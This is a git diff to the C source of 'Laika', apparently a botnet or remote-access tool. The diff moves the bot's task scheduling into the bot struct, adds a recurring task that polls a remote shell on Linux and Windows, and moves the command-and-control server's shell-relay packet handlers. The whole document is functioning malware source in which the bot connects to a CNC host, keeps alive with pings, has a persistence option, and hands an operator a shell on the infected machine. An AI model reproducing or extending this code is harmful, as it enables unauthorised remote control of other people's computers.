diff --git a/bot/include/bot.h b/bot/include/bot.h index 42fd87b..08a2bc1 100644 --- a/bot/include/bot.h +++ b/bot/include/bot.h @@ -13,15 +13,17 @@ struct sLaika_shell; struct sLaika_bot { uint8_t priv[crypto_kx_SECRETKEYBYTES], pub[crypto_kx_PUBLICKEYBYTES]; struct sLaika_pollList pList; + struct sLaika_taskService tService; struct sLaika_peer *peer; struct sLaika_shell *shell; + struct sLaika_task *shellTask; }; struct sLaika_bot *laikaB_newBot(void); void laikaB_freeBot(struct sLaika_bot *bot); void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */ -bool laikaB_poll(struct sLaika_bot *bot, int timeout); +bool laikaB_poll(struct sLaika_bot *bot); void laikaB_pingTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); diff --git a/bot/include/shell.h b/bot/include/shell.h index e137dd9..28bb46c 100644 --- a/bot/include/shell.h +++ b/bot/include/shell.h @@ -3,6 +3,8 @@ #include +#define LAIKA_SHELL_TASK_DELTA 50 + struct sLaika_bot; struct sLaika_shell; @@ -18,4 +20,6 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData); +void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); + #endif \ No newline at end of file diff --git a/bot/lin/linshell.c b/bot/lin/linshell.c index a9822e1..048747e 100644 --- a/bot/lin/linshell.c +++ b/bot/lin/linshell.c @@ -9,6 +9,7 @@ #include "lerror.h" #include "lmem.h" +#include "ltask.h" #include "bot.h" #include "shell.h" @@ -37,6 +38,9 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) LAIKA_ERROR("Failed to set shell fd O_NONBLOCK"); } + /* start shell task */ + bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot); + return shell; } @@ -47,6 +51,10 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { bot->shell = NULL; laikaM_free(shell); + + /* stop shell task */ + laikaT_delTask(&bot->tService, bot->shellTask); + bot->shellTask = NULL; } bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { diff --git a/bot/src/bot.c b/bot/src/bot.c index 45c879d..4a13e76 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -58,8 +58,6 @@ struct sLaika_bot *laikaB_newBot(void) { char *tempINBuf; size_t _unused; - bot->shell = NULL; - laikaP_initPList(&bot->pList); bot->peer = laikaS_newPeer( laikaB_pktTbl, @@ -69,6 +67,12 @@ struct sLaika_bot *laikaB_newBot(void) { (void*)bot ); + laikaT_initTaskService(&bot->tService); + laikaT_newTask(&bot->tService, 5000, laikaB_pingTask, (void*)bot); + + bot->shell = NULL; + bot->shellTask = NULL; + /* generate keypair */ if (sodium_init() < 0) { laikaB_freeBot(bot); @@ -112,6 +116,7 @@ void laikaB_freeBot(struct sLaika_bot *bot) { laikaP_cleanPList(&bot->pList); laikaS_freePeer(bot->peer); + laikaT_cleanTaskService(&bot->tService); /* clear shell */ if (bot->shell) @@ -145,16 +150,19 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { LAIKA_ERROR("failed to gen session key!\n"); } -bool laikaB_poll(struct sLaika_bot *bot, int timeout) { +bool laikaB_poll(struct sLaika_bot *bot) { struct sLaika_pollEvent *evnt; int numEvents; /* flush any events prior (eg. made by a task) */ laikaP_flushOutQueue(&bot->pList); - evnt = laikaP_poll(&bot->pList, timeout, &numEvents); + evnt = laikaP_poll(&bot->pList, laikaT_timeTillTask(&bot->tService), &numEvents); - if (numEvents == 0) /* no events? timeout was reached */ + /* no events? timeout was reached */ + if (numEvents == 0) { + laikaT_pollTasks(&bot->tService); return false; + } laikaP_handleEvent(evnt); diff --git a/bot/src/main.c b/bot/src/main.c index 985d808..d8df9e1 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -7,15 +7,6 @@ #include "shell.h" #include "persist.h" -struct sLaika_taskService tService; - -void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { - struct sLaika_bot *bot = (struct sLaika_bot*)uData; - - if (bot->shell) - laikaB_readShell(bot, bot->shell); -} - int main(int argv, char *argc[]) { struct sLaika_bot *bot; @@ -27,25 +18,17 @@ int main(int argv, char *argc[]) { #endif bot = laikaB_newBot(); - /* init task service */ - laikaT_initTaskService(&tService); - laikaT_newTask(&tService, 100, shellTask, (void*)bot); - laikaT_newTask(&tService, 5000, laikaB_pingTask, (void*)bot); - LAIKA_TRY /* connect to test CNC */ laikaB_connectToCNC(bot, LAIKA_CNC_IP, LAIKA_CNC_PORT); /* while connection is still alive, poll bot */ while (laikaS_isAlive((&bot->peer->sock))) { - if (!laikaB_poll(bot, laikaT_timeTillTask(&tService))) { - laikaT_pollTasks(&tService); - } + laikaB_poll(bot); } LAIKA_TRYEND /* bot was killed or it threw an error */ - laikaT_cleanTaskService(&tService); laikaB_freeBot(bot); #ifdef LAIKA_PERSISTENCE sleep(5); diff --git a/bot/src/shell.c b/bot/src/shell.c index efa38be..3b68a1b 100644 --- a/bot/src/shell.c +++ b/bot/src/shell.c @@ -49,4 +49,10 @@ void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD /* write to shell */ laikaB_writeShell(bot, shell, buf, sz); +} + +void laikaB_shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { + struct sLaika_bot *bot = (struct sLaika_bot*)uData; + + laikaB_readShell(bot, bot->shell); } \ No newline at end of file diff --git a/bot/win/winshell.c b/bot/win/winshell.c index 223886e..b6eb090 100644 --- a/bot/win/winshell.c +++ b/bot/win/winshell.c @@ -125,6 +125,9 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) return NULL; } + /* start shell task */ + bot->shellTask = laikaT_newTask(&bot->tService, LAIKA_SHELL_TASK_DELTA, laikaB_shellTask, (void*)bot); + return shell; } @@ -146,6 +149,10 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { /* free shell struct */ laikaM_free(shell); bot->shell = NULL; + + /* stop shell task */ + laikaT_delTask(&bot->tService, bot->shellTask); + bot->shellTask = NULL; } bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) { diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 9832157..18cbadb 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -57,38 +57,6 @@ uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) { /* ============================================[[ Packet Handlers ]]============================================= */ -void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData; - struct sLaika_cnc *cnc = bInfo->info.cnc; - uint8_t _res = laikaS_readByte(&peer->sock); - - if (bInfo->shellAuth == NULL) - LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE malformed packet!"); - - /* forward to SHELL_CLOSE to auth */ - laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_SHELL_CLOSE); - - /* close shell */ - ((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL; - bInfo->shellAuth = NULL; -} - -void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { - char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; - struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData; - uint8_t id; - - if (bInfo->shellAuth == NULL || sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH) - LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!"); - - laikaS_read(&peer->sock, (void*)buf, sz); - - /* forward SHELL_DATA packet to auth */ - laikaS_startVarPacket(bInfo->shellAuth, LAIKAPKT_SHELL_DATA); - laikaS_write(&bInfo->shellAuth->sock, buf, sz); - laikaS_endVarPacket(bInfo->shellAuth); -} - void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { char magicBuf[LAIKA_MAGICLEN]; struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData; @@ -143,6 +111,38 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */ } +void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData; + struct sLaika_cnc *cnc = bInfo->info.cnc; + uint8_t _res = laikaS_readByte(&peer->sock); + + if (bInfo->shellAuth == NULL) + LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE malformed packet!"); + + /* forward to SHELL_CLOSE to auth */ + laikaS_emptyOutPacket(bInfo->shellAuth, LAIKAPKT_SHELL_CLOSE); + + /* close shell */ + ((struct sLaika_authInfo*)(bInfo->shellAuth->uData))->shellBot = NULL; + bInfo->shellAuth = NULL; +} + +void laikaC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) { + char buf[LAIKA_SHELL_DATA_MAX_LENGTH]; + struct sLaika_botInfo *bInfo = (struct sLaika_botInfo*)uData; + uint8_t id; + + if (bInfo->shellAuth == NULL || sz < 1 || sz > LAIKA_SHELL_DATA_MAX_LENGTH) + LAIKA_ERROR("LAIKAPKT_SHELL_DATA malformed packet!"); + + laikaS_read(&peer->sock, (void*)buf, sz); + + /* forward SHELL_DATA packet to auth */ + laikaS_startVarPacket(bInfo->shellAuth, LAIKAPKT_SHELL_DATA); + laikaS_write(&bInfo->shellAuth->sock, buf, sz); + laikaS_endVarPacket(bInfo->shellAuth); +} + /* =============================================[[ Packet Tables ]]============================================== */ #define DEFAULT_PKT_TBL \ @@ -440,8 +440,10 @@ bool sweepPeers(struct sLaika_peer *peer, void *uData) { long currTime = laikaT_getTime(); /* peer has been silent for a while, kill 'em */ - if (currTime - pInfo->lastPing > LAIKA_PEER_TIMEOUT) + if (currTime - pInfo->lastPing > LAIKA_PEER_TIMEOUT) { + LAIKA_DEBUG("timeout reached for %p! [%d]\n", peer, currTime - pInfo->lastPing); laikaC_killPeer(cnc, peer); + } } void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {